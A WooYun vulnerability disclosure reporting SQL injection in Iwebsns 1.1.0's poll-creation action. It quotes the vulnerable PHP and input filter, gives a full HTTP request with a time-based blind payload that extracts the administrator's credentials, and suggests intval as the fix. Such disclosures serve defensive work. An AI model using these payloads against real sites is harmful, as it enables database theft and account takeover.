当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086730

漏洞标题:Iwebsns最新版SQL注入第七枚(多个漏洞打包)

相关厂商:Jooyea

漏洞作者: 路人甲

提交时间:2014-12-12 10:43

修复时间:2015-03-12 10:44

公开时间:2015-03-12 10:44

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-12: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Iwebsns最新版SQL注入第七枚(多个漏洞打包)

详细说明:

在wooyun上看到雨牛提了5个iwebsns的漏洞了( WooYun: Iwebsns sql 第五枚。 ),我来捡捡漏儿吧,已对比,不重复,下载Iwebsns最新的1.1.0来看看。
为了使审核的大大们容易确认是否有重复,我先把存在漏洞的文件和注入参数分别写在这里:/action/poll/poll_add.action.php sex noreply maxchoice
这个文件中的 sex noreply maxchoice三个参数都存在同样的注入漏洞,如下图

证明多个漏洞存在副本.jpg


这里就一起提了吧,以sex为例进行证明。
下面看看漏洞是怎么产生的
/action/poll/poll_add.action.php

无关代码
//变量声明区
$user_id=get_sess_userid();
$user_name=get_sess_username();
$userico=get_sess_userico();
$subject=short_check(get_argp('subject'));
$message=short_check(get_argp('message'));
$sex=short_check(get_argp('sex'));
$noreply=short_check(get_argp('noreply'));
$expiration=short_check(get_argp('expiration'));
$reward=short_check(get_argp('reward'));
$credit=short_check(get_argp('credit'));
$percredit=short_check(get_argp('percredit'));
$makefeed=short_check(get_argp('makefeed'));
$maxchoice=short_check(get_argp('maxchoice'));
$cho=array_unique(get_argp('option'));
$tag=short_check(get_argp('tag'));
//数据表定义区
$t_poll=$tablePreStr."poll";
$t_polloption=$tablePreStr."polloption";
//定义写操作
dbtarget('w',$dbServs);
$dbo=new dbex();
foreach($cho as $value){
if(short_check($value)!=''){
$cho_array[]=short_check($value);
}
}
if($maxchoice==1){
$input_type='radio';
}else{
$input_type='checkbox';
}
$poll_option="<input type=\"".$input_type."\" disabled />".$cho_array[0]."<br />";
$poll_option.="<input type=\"".$input_type."\" disabled />".$cho_array[1]."<br />";
$poll_option.="......";
$cho_ser=serialize(array($cho_array[0],$cho_array[1]));
$multiple=($maxchoice==1)? 0 : 1;
$cre_value=empty($credit) ? 0 : intval($credit);
$per_value=empty($percredit) ? 0 : intval($percredit);
$sql="insert into $t_poll (`user_id`,`username`,`user_ico`,`subject`,`multiple`,`maxchoice`,`sex`,`noreply`,`dateline`,`credit`,`percredit`,`expiration`,`message`,`option`) values ($user_id,'$user_name','$userico','$subject',$multiple,$maxchoice,$sex,$noreply,'".constant('NOWTIME')."',$cre_value,$per_value,'$expiration','$message','$cho_ser')";
$dbo->exeUpdate($sql);
无关代码


sex经过short_check,来看看short_check,/foundation/freq_filter.php

function short_check($str)
{
$MaxSlen=500;//限制短输入项最多300个字符
if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开
{
$str = addslashes($str); // 进行过滤
}
$str = LenLimit($str,$MaxSlen);
$str = str_replace(array("\'","\\","#"),"",$str);
if($str!=''){
$str= htmlspecialchars($str);
}
return preg_replace("/ +/","",trim($str));
}


先进行addslashes,再htmlspecialchars,但是这里是数字,上面编码无任何作用。
Iwebsns没有错误回显,这里用time-based blind进行注入测试。
Paload:

POST /do.php?act=poll_add HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/modules.php?app=poll_send
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1417866015; [email protected]; PHPSESSID=m7fvrk38fpfecbjjur7egblrl6; post_sep_time=1418208137
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 681
subject=%E6%B5%8B%E8%AF%95%E6%B7%BB%E5%8A%A0%E6%8A%95%E7%A5%A8+&message=&option%5B%5D=%E6%B5%8B%E8%AF%95%E6%B7%BB%E5%8A%A0%E6%8A%95%E7%A5%A8+
&option%5B%5D=%E6%B5%8B%E8%AF%95%E6%B7%BB%E5%8A%A0%E6%8A%95%E7%A5%A8+&option%5B%5D=&option%5B%5D=&option%5B%5D=&option%5B%5D=&option%5B%5D
=&option%5B%5D=&option%5B%5D=&option%5B%5D=&option%5B%5D=&option%5B%5D=&option%5B%5D=&option%5B%5D=&option%5B%5D=&option%5B%5D=&option%5B%5D
=&option%5B%5D=&option%5B%5D=&option%5B%5D=&maxchoice=1&expiration=2015-01-10&sex=(select if(ord(mid((select admin_name from isns_admin
where admin_id=1 limit 0,1),1,1))=0x61,sleep(3),0))&noreply=0&reward=0&credit=&percredit=&makefeed=1&action=%E7%A1%AE%E5%AE%9A


猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图

猜测错误副本.jpg


若正确,延迟5s左右,如下图

猜测成功副本.jpg


按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: 21232f297a57a5a743894a0e4a801fc3

漏洞证明:

见 详细说明

修复方案:

intval

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝